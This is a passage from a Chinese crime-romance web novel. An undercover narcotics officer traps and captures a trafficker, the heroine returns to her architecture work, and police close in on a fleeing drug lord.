向邬道入住的是一处度假山庄,他财大气粗,有包场的习惯,整座山庄酒店在夜色下格外宁静,靠温泉的酒店房间亮着灯,沈宗野在网上查过结构图和消防通道,知道亮灯的那几间酒店是最好的房型,向邬道就在那里。 酒店外围是山林。 夜色中,沈宗野拿出绳索工具,从这道围墙翻进了酒店。这是一片无人的花园,他在这片树后藏身。 他用一张新卡拨通110号码,打开变声软件。 “喂,我要报案,有人在河源路CY酒吧后门的废品回收站贩毒,他的上线在溪谷度假山庄客房部二楼,这个人有枪支有帮手,极度危险。” 接警员正在询问他的身份信息,沈宗野挂了电话。 他打开一个境外聊天软件,那头是他这几天早就联络好的一个小贩,对方的上线自然是向邬道的手下,并且对向邬道不满很久了。 现在,沈宗野在向这个小贩要货,因为是熟人介绍,对方对他很放心。 对方问:「要多少?」 沈宗野:「跟前天那样,老E那种货」 对方:「老地方?」 沈宗野:「嗯,我一点四十分到」 沈宗野算着Z市禁毒局到达的时间,很快打字:「埋好钱了」 他发了张提前伪造的照片。 对方:「OK」 隔了两分钟,对方埋好了货给他发来照片。 如果不出意外,对方这会儿已经被警察按住了。 而从禁毒局开到这家山庄也将在两分钟后。 三月的夜晚空气微凉,这片花园靠墙,墙外就是山林,很多蚊虫飞来。 沈宗野一动不动站在这团暗影里,有虫子叮咬脖子,他冷静拍开,没发出任何动静。 两分钟到了。 远处漆黑的天边渐渐有光源逼近。 山庄的门禁无声打开,一队人冲进来,在工作人员的带领下穿过喷泉广场直逼这边住宿部。 周遭的灯突然全部熄灭,是抓捕中惯常的断电手段。 沈宗野守在原地,直到听到枪声响起,花园里逐渐传出脚步声和窸窣的杂草声音,一道人影奔向这边,往围墙上爬。 沈宗野漆黑的眼眸穿透夜色,冰冷的光在他眼底闪过。 他冲过去,以极快的速度拽下那人双腿,将人狠狠摔到在地。 是向邬道。 熹微的天光在这么近的距离下也只够看清大致的轮廓,但沈宗野确定是向邬道,向邬道也认出是沈宗野,哪怕沈宗野戴着口罩。 “沈宗野?这是你搅的局?”向邬道猛地掏向腰间。 沈宗野翻身向他头顶一跃,反向掰住向邬道手臂,飞速一击夺过枪扔向墙外。 向邬道双腿后翻踢中沈宗野额头,沈宗野往后一退,向邬道趁这间隙冲向沈宗野。 看不见光的夜晚,冲过来的黑影像鬼魅,冰冷寒光折过沈宗野眼底。 腹部倏地窜起一股金属的冷,是匕首穿进身体的感觉。 沈宗野太熟悉了,抓捕的过程中他受过两次匕首扎进身体的伤。 疼痛瞬间导致腰肌无力,身体本能的保护机制让沈宗野弓起脊背躲避。 向邬道拔出刀,又狠狠捅过来。 “沈宗野?你他妈找死!今晚是你设的局?你何必这样,因为上次的事,还是因为梁然?” 沈宗野没开口,寒光逼近,他忍着疼,犀利地盯着漆黑里唯一这点光,徒手接住刀刃,抢夺向邬道的匕首。 沈宗野的不要命让向邬道大惊:“真的是因为梁然?”向邬道自己做的事自然也清楚,他争夺着匕首,讥讽地嘲笑,“真没看出来你他妈还是个情种。” 沈宗野没有说任何废话,只是动作更加凶狠。 向邬道被夺了武器,深知他不是沈宗野的对手。 “沈宗野,你放我走!我不会再弄你,也不会招惹梁然!” 沈宗野这时才开口:“晚了,敢动我的人,我就要你死。” 追捕的声音朝这边扩来,向邬道转身要逃,沈宗野狠狠将他扑倒在地,拧断了他夹击过来的膝盖,向邬道发出痛嚎,那头警察也凭借声音锁定住这边的位置。 沈宗野不再恋战,粗暴拽起向邬道胳膊朝树下走。向邬抓起树枝朝沈宗野刺过来,沈宗野折断他手肘,动作干净利落,没有一丝拖泥带水。 向邬道痛得连惨叫声都是抖的。 沈宗野飞快掏出手铐将向邬道铐在树上。 远处子弹打过来,沈宗野护住头部滚到墙角,快速翻出墙,奔向他藏在山林里的机车。 引擎声震破夜空。 围墙里追出来的枪声接连起伏,沈宗野以极限速度冲下山,直到开进安全区域,换成汽车。 黑色汽车驶进夜色,在国道偏僻的岔路口停稳,踩紧刹车的脚竟都有些发颤。 沈宗野按着腹部,打开头顶的灯,白色纱布全都被鲜红的血染透,裤腿上全都是新鲜的血液。 他松开纱布,手腕泛起身体本能的颤抖。 痛。 好冷。 但是安全了。 向邬道进了监狱,梁然就安全了。 她的信息暴露得太多,她潜伏在他身边的那四个月受的苦也太多。 现在她终于可以安全了,今晚,他也算还她了吧。 第75章 第75章爱你的那个人正在来找你…… 春风吹过的季节宁静又漫长,潮湿多雨的南城浸润在这个悠长的雨季里。 傍晚时分,工作室里的员工都陆续下班,二楼的两间办公室还亮着灯。 梁然关了电脑起身,乔思嘉也刚好来到门口,手上挽着西装外套。 “江凛送我们哦!” 梁然淡淡一笑,回来的这一个月已经适应了江凛不办案就每天必来接乔思嘉的状态。 这会儿她们要去参加一个晚宴,江凛也照旧来送他们。 江凛开上她们工作室的商务车,将她们送到宴会的酒店,充当司机在车上等她们。 这场晚宴是业内一位大拿创办的,梁然和乔思嘉过来积攒些人脉,场上优秀的女性自然有很多,但像她们这样优秀的建筑师女性却非常少有。 干建筑又苦又累,她们俩是年轻女生,还是外貌和学历都远超寻常人的高知女性,宴会上几个老一辈夸奖她们的同时不忘问她们是不是单身,纷纷想给她们牵线相亲。 尤其是梁然,她外表太过出色,被几个老前辈问了联系方式,又立马被场上富豪请过去以项目的名义和她攀谈。 这边的桌台是国内几位知名富商,本来只是赏脸来走个过场,但却被梁然吸引,聊起她们工作室的项目。 看梁然和这些人碰着高脚杯,饮完酒交换名片。 乔思嘉不动声色敬出一杯酒,挡在梁然身前,悄悄对梁然说:“想泡你?” 梁然只是挂着极淡的笑:“聊天呢,谁知道,但我没这么好上当。” 最后对方说周六邀她们俩打高尔夫,顺便看看她们做过的住宅项目。 结束后,梁然和乔思嘉回到车上,江凛看了她们一眼,把提前买好的醒神茶递给她们。 “谢谢亲爱的,你超贴心!”乔思嘉笑得很甜。 梁然接过,也说着谢谢。 她低头点开微信,通过了刚才宴会上两个二十几岁的商界新锐。 乔思嘉凑过来:“这个听说订婚了,这个陆总倒是个黄金单身汉,你想发展可以试试这个陆总,周六去打球试试。” “球可以打,但我又不是去相亲的。” 梁然通过后摁灭了手机。 乔思嘉:“还是我家然然大宝贝有实力,你说要是让陈沥周知道你有这么多追求者,还比他优秀,他会不会后悔得捶胸顿足啊,哈哈哈。” “我和他只是普通朋友。” 梁然也有很久没见过陈沥周了,他们虽然每天都有聊天,但大部分都是关于工作,不过陈沥周对她确实不再掩藏那份喜欢。 他会给她们工作室买下午茶,每天雷打不动,高级甜品一批批送来,所有员工都知道他。陈沥周虽然没掩饰对她的喜欢,却也没有挑明,从未给梁然任何压力。他每天的下午茶都有各种工作上的借口,感谢她们对他的项目那么负责。 乔思嘉:“诶,你每天看我和江凛这么腻歪就没想过找个男朋友吗?”乔思嘉实在纳闷,“你今年要25岁了,你单身到25岁就没想过再谈个试试?” 车子从地下车库驶向街道,穿进南城最繁华的夜景,一座座高楼林立,灯光璀璨,寸土寸金之处人潮汹涌。 梁然看着车窗外,脑子里浮现的竟会是宁城的街道。 那是一座经历工业革新之后奉献完自己,却被繁华和发展抛下的城市,好像永远停留在了那个年代。 宁城没有这么繁华,也没有这么多随处可见的奢侈品。它朴实,又始终在坚守它那一寸本心,守在繁华之外的无尽热情里。 短短半年,她竟然会留恋一座城。 “我觉得工作比谈恋爱有意思。”梁然回答着乔思嘉的话。 乔思嘉说:“是因为你没遇到有趣的人啊!让江凛给你介绍个同事吧,他们队里有个外省调派过来的年轻猛将,23岁是个弟弟,肌肉比江凛都夸张,人又高又帅……” 江凛瞥了眼后视镜里的乔思嘉:“你能不能别逢人炫我肌肉。” 梁然忍着不笑,怕江凛尴尬。 乔思嘉:“怎么不能炫啊,手感怎么样我好姐妹都知道!” 梁然:“我可不知道。” “乔思嘉,你有点边界感吧。” 一听江凛叫了她全名,乔思嘉也火了:“江凛你翅膀硬了,我夸你两句怎么了?” 梁然出声圆场:“江凛白天破案子,晚上还给我们当司机已经挺不容易了。” “我和他吵架然然你别插嘴。”乔思嘉,“来,你把车停下我们好好理论一下,我夸你身材好怎么了,我自己男朋友我不能夸……” 江凛果然把车停在了路边车位上。 乔思嘉平时还没见过江凛半道上跟她生气,尤其是当着她闺蜜的面,整个人已经愣住,眼眶一下就要红了。 梁然准备下车把空间给他们,自己打车回去。 江凛却是接起电话说:“好,我马上过来。”他挂了电话,打开车门,“接到群众报案,我得赶过去,我给你们联系个代驾。” 梁然说:“我们自己联系就好。” 乔思嘉这才好受一点,原来不是因为吵架把车停下,是因为案子。 她有些委屈巴巴地打开车门下了车,去抱江凛。 晚风吹过乔思嘉耳边一缕卷发,江凛垂眸看着她,刚才暗恼的视线也柔和下来,将乔思嘉的头发捋到耳后说:“办完案子再跟你吵,逢人就说我身材,我除了身材就没有别的地方值得吹了?” 声音压得很低,但梁然还是听到了。 他们在车窗外分别。 梁然坐在车厢里,她没有见过乔思嘉上一秒急红了眼眶,下一秒眼睛里满是星辰的样子,乔思嘉只对江凛这样,乔思嘉说这是因为爱情。 梁然觉得她应该拥有不了这种爱情。 说来也奇怪,梁幸均和沈茹那么相爱,她是见过坚贞不渝的爱情的,但是也看过更多分道扬镳,她很小就觉得被另一个人因为爱情而束缚,还不如做好自己喜欢的事,所以她一直的认知里,事业都比爱情要重要。 和林甄的初恋是因为少女时期对爱情的幻想吧。 她的少女时期来得这么晚,大二时才觉得该拿过的奖都拿完了,林甄也追她这么久了,还是她知根知底,又不讨厌的人,甚至因为他警校生的身份带着特殊的光环,让她充满对警官那种英雄情节的幻想。 可惜林甄带给她的分别和危险,大过初恋那些想象和美好。 乔思嘉重新坐回车厢,整个人哪还有半点不高兴的样子,眼角眉梢都是甜腻腻的笑。 梁然好笑地抿起红唇。 乔思嘉:“叫代驾了嘛?” “叫了,还有二十分钟。” 乔思嘉:“刚刚我说的你要不要考虑一下,他那个同事真的蛮优秀的,人很帅!” 梁然扶额:“我不喜欢警察这个身份。” 乔思嘉不解。 梁然:“这个职业我不考虑,而且嘉嘉,我想等悦悦大学毕业以后再谈恋爱,她现在很缺少安全感。” 乔思嘉认真想了想:“我知道你什么想法,咱俩原来在感情上区别还是挺明显的,你想听听我的想法吗?” 也不管梁然想不想听,乔思嘉已经继续说起。 “你想等悦悦长大,是因为你作为姐姐觉得该尽这份责任,可是我妈从小就对我说她以前老抢我的零食吃,我那时候还小,就哭啊,我爸爸也不制止,任我妈抢我的零食吃,他们俩都说‘我们也喜欢吃,凭什么要让着你,你都吃了这么多了,你对自己这么好,我们也要对我自己好,爸爸妈妈有错吗’。” “我觉得我爸妈一点错也没有,教育得也没问题。我是独生女,可能理解不了你想照顾悦悦心理上的那种感受,但是我觉得你首先要先爱你自己,才有健康的灵魂去爱悦悦。” 梁然说:“我知道,你说的没有错。” (′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*) “但我对男人没兴趣。” 乔思嘉一笑:“那就好,你能改掉这个舍己为人的坏毛病就行,别当奉献型的家长。” 梁然抿了抿笑,她应该不是这种奉献型的家长,她只是完全对男人没想法。 乔思嘉说:“还有啊,你刚刚说你找男朋友不会找警察职业的,我知道你是因为被绑架过还会害怕,你不找禁毒警察不就好了嘛。像江凛他们这种断案子的刑警,人生经历丰富精彩,实在比我们做建筑的有趣太多,我觉得和他在一起,是他用酸甜苦辣在丰富我糖精一般的人生。” 梁然沉默一会儿:“嘉嘉,我很羡慕你。我一直都觉得你才是正常的女孩子。” 梁然想到了沈茹,沈茹给她打电话的时候是早上,而她后知后觉意识到不对的时候是傍晚。 那天中午就有一趟航班,她在接完沈茹的电话后就能赶上,她就能在沈茹死之前见到妈妈最后一面。 她一直在后悔。 这是第十个年头,她没有原谅自己的第十年。 乔思嘉轻轻拥住梁然,梁然无动于衷,可梁然的眼睛是痛苦的,但是她痛苦的时候流不出眼泪。 乔思嘉太了解她,心疼得眼眶都红了:“谁说你不正常,你又没有错,你没看你今天宴会上有多优秀!还有上次在禁毒局里你帮助他们办案,当时走出来时你脖子上都还有伤,你多勇敢啊,别说毒贩,连抢劫犯我都怕死了,我都做不到你这样!” “然然,一切都会好起来。你这么好,说不定爱你的那个人正在来找你的路上,说不定为了让你开心快乐地生活在这座城市,他做了很多很多的努力。” 会有这样一个人么? 梁然透过乔思嘉的肩膀安静地望着车窗外。 她是一个情绪极度稳定的人,回家后什么都没再想便睡了过去。 只是第二天醒来时梁然有些头疼,偏头痛的毛病又犯了。 阿姨做好了早饭,梁然用过早餐后吃了一颗止痛药,开车去工作室上班。 午后,助理有一份资料找不到了,硬着头皮来问梁然还有没有备份。 梁然说:“我找到了发给你。” 她忙完手边的几份文件才停下来在她的电脑上找那份资料。 那份资料就在本地,但是梁然顿了片刻,不知道为什么,打开了云盘。 她点开之前在宁城时建立的那个文件夹,里面都是她整理的沈宗野他们犯罪的证据。 梁然点开那些照片,停在她和沈宗野合照的那一张。 这张合照是他们在吃阻断药时,梁然最难受也最彷徨的那一天拿出手机假装温柔地拍的。 照片上她笑容灿烂,沈宗野说不爱拍照,于是侧过脸去,留下的便是他的侧脸。 他的侧脸从额头到鼻梁和下颌骨,线条都很挺立流畅,光一个侧脸都非常英正硬挺。 梁然翻到后面,还有两张是沈宗野回过头时她捕捉到的正脸,她当时笑得手抖了,她的脸很模糊,反倒是沈宗野五官高级又英气,原相机不加修饰的质感让他很具男人的特质。 梁然又翻回她在沈宗野公寓里装完室内攀岩,沈宗野爬到天花板上时她拍下的照片。 他回头的样子真的好像蜘蛛成精。 梁然竟忍不住弯起了唇角。 这些照片原本都在她手机里,是实况图,但是春节那天在禁毒局的审讯室里,她手机上关于证据的照片全都按他们的要求删除了。 梁然将这两张照片从云盘保存到手机上。 她也不知道为什么,也许只是想留下一点回忆。 傍晚时,药性褪却,头疼还是没改善,梁然开车回家,经过小区楼下一家糖水铺,将车停下走进店里。 这家店主营各类糖水,招牌是燕窝,热销的却是绿豆羹,梁然常光顾的又是一款雪梨水。 她每次头疼都会来点一杯雪梨无花果糖水,热度刚刚好,又没有额外加糖,雪梨的甜炖出来的糖水原汁原味,她一直都很喜欢。 老板叫顾欣,是个跟梁然同龄的女生,梁然从她开业便一直来光顾,熟到和梁然已经互知了姓名,她对梁然很热情,每次都亲自为梁然打包。 “下班了呀?今天有些降温了,我想你应该会过来。”顾欣去打包雪梨无花果糖水,梁然每次都点这个,只会在生理期才换成红糖水。 梁然对生活周边的人物会投以淡笑,她抿了抿唇:“谢谢。” “今天我烤了全麦面包,给你带一点尝尝。”顾欣将面包一起放进手提袋里。 梁然:“那你一起结账就好。” “是我送你的。”顾欣笑。 梁然抿了抿唇说谢谢。 她回到家里,智能管家自动将灯打开,播报着室内温度和湿度,餐桌上已经有阿姨按照她的时间做好的晚饭。 葡萄喵喵叫着奔向梁然,竖起的小尾巴摇啊摇,跳到玄关柜子上冲梁然仰起脸,要和她闻闻贴贴。 “葡萄。”梁然把猫抱到手臂上挼着脑袋。 靸上拖鞋,梁然换完家居服坐到餐桌前,喝了一口雪梨水开始吃饭。 葡萄乖乖蹲在餐桌的另一边,时不时闻闻梁然的饭菜,又按着它那盘小零食吃。 梁然住的是离工作室还算近的一套高档大平层,之前乔思嘉来和她住过一段时间,后来在她隔壁小区买了栋联排别墅搬出去了。梁然这里的阿姨也只是白天在,晚上做完饭后会下班离开,她已经独居很久。 落地窗外,天色终于完全暗下来,城市的灯光望不到头的绚烂。 …… 时间在这样宁和的日子里流淌,到四月,五月,六月,好像每一天都是这样风平浪静度过,不会再有任何波澜。 梁然甚至不会再觉得去年那个呆在毒贩身边的她就是她自己,一切都好像变得熟悉又陌生。 熟悉的是她依旧惦记那些害过梁幸均的毒贩到底有没有落网,宁城的案子办得怎么样。陌生的是她已经不再熟悉毒贩那个怪圈,不再熟悉像沈宗野那样晦暗的生活圈子。 但这一百多天里,她竟然会几次打开相册里沈宗野的照片,梁然也不明白她为什么想要打开看一眼,也许是因为愧疚,她并不希望她冒然的闯入会打乱沈宗野的计划,甚至影响他的安危。 即便禁毒总局的人从没有承认过那个卧底警察是沈宗野,梁然也能确定。 他一次次保护过她,她希望他平安。 …… 工作室又招新了几名设计师,楼下的办公室已经显得有些不够宽敞了。 梁然和乔思嘉商量着把隔壁租下来,助理敲门进来说:“梁总,乔总,宁城陈总那边还是没联系上,他的助理说他最近出国了,她也没有联系上陈总,我后续有消息再跟进吧。” 梁然也有些意外,和陈沥周的微信联络还是在上周,陈沥周说他要出国一趟,但却隔了一周都没有给她发过消息。 乔思嘉撇撇嘴:“不会是飞机坠机了吧,呸呸呸!” 这当然只是乔思嘉胡乱的猜想,陈沥周的助理说他当天就已经安全落地。 梁然有些不放心,不免想起了那朵很久没再去想过的四叶草。 这几个月陈沥周几乎每天都会和她联系,聊的经常是南城什么天气,她今天忙不忙。 偶尔梁然也会问他证据查得怎么样,陈沥周都会避开这个话题,不想让她参与。 他会笑着说:“都说了专业的事情交给专业的人做,你觉得我不够专业吗?”然后他每次都会用别的话题岔开。 梁然知道陈沥周是不想她再去碰那些危险的事情。 她虽然从来没有说过“我担心你”四个字,但却真的会担心这么冒险的陈沥周。 助理和乔思嘉都离开了办公室。 梁然又试着给陈沥周发了两条消息,但陈沥周一直都没有回复。 她等到了下午,实在忍不住,拿起手机拨给了她之前向禁毒总局汇款时联络她的女警。 “你好,我想问下宁城的案子收网了吗?这么久了,坏人都抓到了吗?” “收网了,毒贩都已落网。” 听筒里,那头的女警掷地有声。 梁然怔住,窗外万里晴空,微风过境,云朵慢悠悠御着风,她很久才回过神。 她太过激动,竟然忘了她是打电话来询问陈沥周的,她竟脱口而出:“什么时候的事?沈宗野安全吗?” 第76章 第76章“梁然问有个叫沈宗野的…… 直到问完这句,梁然才意识到她的反应太不正常。 她应该关注的是案子,是陈沥周是不是被他们误当成了毒贩给抓了,即便她再记得沈宗野,她也不应该这么激动地直接问起他。 梁然平复下来说:“之前有一位卧底警官,应该是叫沈宗野,你知道吗?我想问下他安全吗?” “我知道你想问的是谁,我们对你很有印象。”女警笑着说,“我们宁城的警官都安全返回了,谢谢你对禁毒事业提供的支持。” 热流涌上眼眶,梁然看着窗外的艳阳,有一行泪滑过她笑着的唇角。 案子破了。 那些坏人都被抓了。 沈宗野也安全回归了。 她曾经千方百计要去达成的心愿终于实现,她爸爸的仇可以报了,一切都终于走到了她希望的这一步。 梁然又再问起陈沥周,女警说他们抓捕归案的人员里没有这个人。 …… 宁城案是真正收网了。 事情发生在七天前。 蛰伏了这么久的沈宗野在半个月前终于被董自新召回到身边。 回到董自新身边的除了沈宗野,还有程启天和其余省份的七名货头。 董自新以犒劳功臣的名义将他们安排在一处郊区的别墅里。 说是别墅,外观上也只是三层的楼房,是内饰装修极为奢华。但四周的环境太偏远,连信号都很差,时有时无,附近还有一家水泥厂和砖厂,环境杂乱。 尤其是董自新召集他们的前一天,虽然言谈如常,但总有一种说不上来的奇怪。董自新眼角眉梢的善意好像过于宽和,他说是为了犒劳羊省的货主老宋,但是大家各自分析,老宋虽然干了稳稳的大单,可也犯不着把他们所有人召集在一起。 他们的车子经过水泥厂时,能听到走出门口偷懒的一个工人不满意的声音:“平时都没几个大单,急什么急,催催催,这么多水泥了还不够!” 别墅的后面是片平房,住着做饭打扫的厨子和阿姨,还有他们九名货头每个人允许带一名小弟,谢天明他们也住在里头。平房的一侧停着两台大挂车,地上滩着一堆拌好的水泥,旁边那扇倒塌的墙像是等着随时修砌起来。 沈宗野最先捕捉到这种不安的危机感。 他去找谢天明,门口守卫的两个一米八的壮汉要问他来做什么,沈宗野说:“找我小弟拿包止痛粉,他揣着我的药,我头痛犯了。”他随口编着,见到谢天明后,谢天明也说他们里面管得很严,去上厕所都有人盯着,出来晚一点都要进去看一眼。 沈宗野想了办法把谢天明带出平房,但手机实在没信号,联络不上外界。 他在院子里看到程启天,选择先找盟友。 “程哥,你不觉得今天有些不对劲?” 程启天没觉得哪里有异常,他说是老宋太得意了,董自新特意嘱托的,今天这趟不过就是一场捧杀,他们随便吃吃喝喝,听听这些虚假的吹捧就得了。 沈宗野:“董叔什么时候来?” “说事晚上过来。” 沈宗野还是不安:“程哥,你跟董叔多久了?” 程启天说有三年了。 沈宗野说:“你有见过哪次董叔即便是捧杀一个人,也像昨晚那样神态这么宽和?” 程启天仔细回想,并不觉得有异常。 沈宗野是一名卧底的警察,他的敏锐度自然比毒贩要高,他把程启天带到楼上的露台,远远看着那座还在加班加点生产的水泥厂。 “这么小的厂子,堆了这么多货,院子里已经堆不下了。” 那座四方的院子里确实堆满了水泥,而且还没有打包,直接堆在露天。 沈宗野打开手机,实在没网络,他只能盯着天:“宁城平时天空蓝得很干净,但今天云层厚,那朵是炮台云,炮台云出现预示可能会有雨。还有风声在变大,那边树上燕子一直飞得很低,咱们这边蚊子也到处在飞。” 沈宗野说:“预计今晚是有雨的,但是那些水泥一直摆在外面没人管。” 程启天还是不明白:“小沈,你到底想说什么?” “程哥,你应该听过鸿门宴,也知道水泥埋尸吧。” 程启天吓了一跳,脸色都变了,他虽然不敢相信,但是干这行也必须要随时把心悬在刀尖上。 沈宗野低声和程启天说:“董叔最近有什么异常?他遇到困难了?” 程启天看了眼四周,也压低嗓音:“我只知道董爷最近心情不好。” “因为货,还是因为人?” “不知道。” 沈宗野说:“程哥,如果你信我,我们两个先撤。” 程启天犹豫了一番,最后决定相信沈宗野,如果董自新对他们没有杀心,那他们撤了也不算犯事。 程启天将他的手下从那间平房里带了出来,沈宗野带上谢天明,四个人身上在进门时就没有任何武器了,偷偷在厨房拿了工具当武器,挟持了一名厨师找到后门,从后门里撤了出来。 他们跑上小道后,就有两台车从别墅直冲他们驶来,虽然车上的人一直没开枪,不想惊动别墅里其他货主,但两台车的车速开到了极限,一股完全不会让他们走的阵势。 “跑!”沈宗野沉喝。 他跃上崎岖的小路,冲进树林,带着三个人冲出了鬼门关。 沈宗野问程启天知不知道董自新的货都在哪里。 程启天有些犹豫和警惕。 沈宗野说:“我不知道董叔为什么要灭掉我们,我们没错,他肯定有他自己的原因。程哥,我们没退路了,你不想卖掉最后一批货,给自己下半辈子留条后路?” 沈宗野劝服了程启天。 程启天说出了董自新一个藏货的地址,而且最近董自新出的货都在这里,但是把守的人太多,他们可能干不过那些人。 沈宗野把他的人手都交给了谢天明和程启天,叮嘱程启天:“程哥,你的人已经没了,我的人这趟如果被抓不会招出我,咱俩如果被抓也要死咬着别招出对方,只要没证据,警察不会拿我们怎么样。” 手机有了信号之后,沈宗野就联络上了云肖他们,董自新对他们也有计,但是云肖很精,只信沈宗野亲自打电话给他,没联系上沈宗野,云肖就没按徐川的话做事。而程启天不同了,他的人很听徐川的话,这会儿全部失联,多半已经是凶多吉少。 程启天说:“这次我信你,只要你不供我,我就不供你。” “别说只要我不供你。”沈宗野说,“我绝对不会供你,我们只是过去打群架。” 这是沈宗野办案的习惯,他总习惯于留个后手,假如案子没破,他至少没有被供进去,还有机会再继续潜伏。假如收网后案子都破了,他就直接反水供出这些毒贩。 谢天明知道沈宗野的计划,但是沈宗野做得太冒险了,沈宗野是决定好了孤身去联络董自新。 想要抓捕董自新,就必须得知道董自新在哪儿。 谢天明走到沈宗野身前,眼里紧张:“哥……” “你知道我,我相信你能懂我意思。” 谢天明疑惑了瞬间,沈宗野的神情很平静,看不出任何异常。谢天明背对着程启天,又不好直接问沈宗野这句话是不是还有别的意思。 直到沈宗野上了一台机车,戴上头盔的时候,他的食指弯曲,比出谢天明常用的那个手势,谢天明才猛地明白过来。 沈宗野骑车驶进市区,拨通董自新的号码,铃声响了很久,董自新终于接听了。 那头没有说话,沈宗野先开口,声音有些苦涩:“董叔,你想要我死吗?” 董自新没回答,电话里一片沉寂。 沈宗野:“董叔,我不知道发生了什么,您会做到这一步,不管怎么样,您能不能带上我,要死我也不想死在这儿,刀山火海我想跟着您。” “小沈。”董自新的声音一如既往淡定,“那就来吧,到我的别墅,会有人来接你。” 情况紧急,沈宗野上报给了上级,也许这是唯一可以抓捕董自新的机会了,只是如今还是缺董自新贩毒的直接铁证。 沈宗野带着宁城禁毒局送来的定位设备,来到董自新的别墅。 但沈宗野没有在这里见到董自新,他等到了晚上,才有之前监视过他的那个男人来将他带上一辆车,蒙住他眼睛,收走他身上所有武器。 沈宗野被带到一处之前从没到过的别墅,但是这里也没有董自新,董自新似乎是在试探他到底值不值得信任,身后有没有尾巴。 过了有两个小时,又有人将他像刚才那样带上车。 这次汽车开得很久,经过平坦的大道时开始变得摇摇晃晃。 沈宗野在一片漆黑的视界里默数着时间,这么远的地方,警方赶到至少也要三个小时以上,他必须要在这段时间内稳住董自新,把董自新留在宁城境内。 漫长的路程下没人打扰,沈宗野开始回想董自新为什么会这样,今天他真的是想杀光他们所有货主灭口? 按他们每次办案的经验,这是大毒枭在逃亡之前惯用的手段,董自新是要逃了? 沈宗野去回想这一年以来记录的关于董自新的一切侦查信息,这个中年男人如果要跑路,是因为什么跑路,是觉得被发现了?最近半年来,警方对轻松一号的打击力度确实比以往大。 董自新是发现了他或者谢天明的身份? 沈宗野觉得不太应该,如果董自新发现了,就不会把所有人召集到鸿门宴上,应该直接弄死他和谢天明才对。 既然董自新要跑,那他得带上他的老母亲和儿子吧。老万之前说董自新是个大孝子,对儿子极其保护,对母亲又非常尊重,说不定董自新早就安排了亲人先撤离。 沈宗野的大脑里在飞速运转着近期这些信息,直到他想起了陈沥周来。 他们一直没有查到陈沥周有任何除了工作以外的异常,包括三个月前沈宗野让谢天明找人进入陈沥周的公司上班,那个隐伏的男生也没有查出来陈沥周的问题。 沈宗野快速回想着谢天明之前提过的陈沥周近期的状态。 陈沥周好像心情很不好,他们派过去的那个男生在下班时看到陈沥周坐在车里,眼眶红肿,像是因为伤心痛苦在难过。还有上个星期,陈沥周出国了,听说是去处理一些工作上的事。似乎应该是在最近,沈宗野听那个男生说过陈沥周的奶奶是个佛教徒,吃素念佛,这事是从陈沥周助理那里传出来的。 沈宗野把这些信息在大脑里画出案件导图,这些信息竟然皆可以拉线串联到一起,董自新和陈沥周的共同点竟然皆可以指向这个信佛的老太太身上。 沈宗野倏然睁开眼睛,之前王局传给他的陈沥周的信息很简单,也许不是因为陈沥周的家庭成员已死亡,而是他掩藏了身份,甚至是改名换姓过。 ——陈沥周也许就是董自新的儿子。 想到了是个可能,沈宗野将被董自新赶去云南那次的原因对上了,更加确信了这个推测。 王局说过,陈沥周以“一个卧底”的口吻劝过梁然离开,他在为他妈妈查证据报仇。 可董自新却是一个彻头彻尾的大毒枭,难道董自新做的一切都是背着陈沥周的,陈沥周什么都不知道? 那至今都没有查出幕后之手的轻松二号又是谁做的? 这一天已经是凌晨了,沈宗野才终于被他们带到了一处乡下的民房。 房子非常简单,在很偏远的山下,院子里停着三台车,屋檐下搭了几张行军床,守夜的人睡在上面。 董自新已经睡下了,沈宗野没有见到他,董自新身边的另一名心腹贺勇在这里,冷冷扫了眼沈宗野,让他去休息。 沈宗野的房间很狭小,床也是简单的行军床,没有被子。 六月初的宁城夜晚还是很冷,尤其这还是在山里,沈宗野和衣闭上眼睛,根本没有睡意。 直到凌晨四点时他被叫起来。 董自新坐在堂屋的饭桌上吃早饭,沈宗野走过去。 “董叔,谢谢您没放弃我。” 董自新扫了眼沈宗野,继续吃着盘子里的饺子:“怎么发现的?” “我说那里的水泥厂水泥太多了,快下雨了都不知道遮挡,程哥一听猛地就往楼下跑,他带上了我。” 董自新哂笑:“你们俩还算聪明。” “董叔,我不明白。” 董自新淡淡说:“现在不需要明白,我要坐船去济州,你现在的任务是送我出境。” 沈宗野点头。 算着时间,他们的人该到了。 这里的人加上沈宗野有八个。 看来董自新这是临时撤离,或者身边带不了更多人手? 大家全都吃好饭,各自上了车,沈宗野坐在最后一台车上,董自新坐在中间那台车。 天际的朝阳升起,车子往山上开,这段路在山腰,没有太多修凿的痕迹,路面都是黄泥地,行驶很陡。 汽车已经驶出很远了,沈宗野按捺着紧绷的心弦,直到一声机车的轰隆声传来,司机一个急刹,窗外骑车的那人猛地喊“有警察”。 董自新的车也倏然停了,中年男人并没有下车,一双阴鸷杀气的眼睛死盯沈宗野。 车里那名手下立马将枪上膛,对准沈宗野:“下车!” “不是我!” 沈宗野被挟持着下了车,他惊慌失措,脸上全是小人的惊恐,慌忙向董自新解释:“董叔,我想起来了,是程哥!程哥说我和他已经是过命的交情了,把他的手表给了我!” 沈宗野慌忙摘下他手上随便戴的一块表,这当然是他的幌子,他们现在不会有设备能查到表里有没有追踪器。 “这个表是他给我的,是他给的!” 董自新坐在车厢里,只露出一张冷冰冰的脸。 骑车盯梢的那个人把无人机画面给董自新看,树木茂密的丛林遮掩着蜿蜒山路,但还是能看到警车一辆辆驶来,而跑在最前面的是一辆机车,离警车大约有三四公里,后坐坐的人正是程启天。 谢天明也算和沈宗野默契,知道沈宗野临别前指的是让程启天来当这个垫背。查**仓库这么重要的事情,沈宗野怎么会交给程启天。 作为缉毒队伍里的精锐,沈宗野哪怕单打独斗也从来没有打过没准备的仗,他的心思极为缜密。 但是幸好他拥有谢天明这个懂他的队友。 谢天明同步着王局那边给出的坐标,找了理由让李浩护送程启天赶来这里。 可现在即便是董自新看到了程启天,也不再相信沈宗野。 沈宗野朝董自新跪下:“董叔,我绝对不会背叛您,快跑啊!快护送董叔走,快走!”沈宗野以他的立场慌张地上演着忠诚。 可董自新是个毒贩,即便沈宗野的嫌疑降低到哪怕百分之一,危急关头,董自新也不会拖泥带水留后患。 他使了一个眼神,汽车继续往前开走。 而持枪对准沈宗野的那个人直接扣动了扳机。 砰! 子弹射出的同时,沈宗野侧避躲开,常年极限训练的身体以极快的速度在避这一击,但子弹还是打中了他肩膀。 他滚到车后,开枪的人又射出无差别的一击。 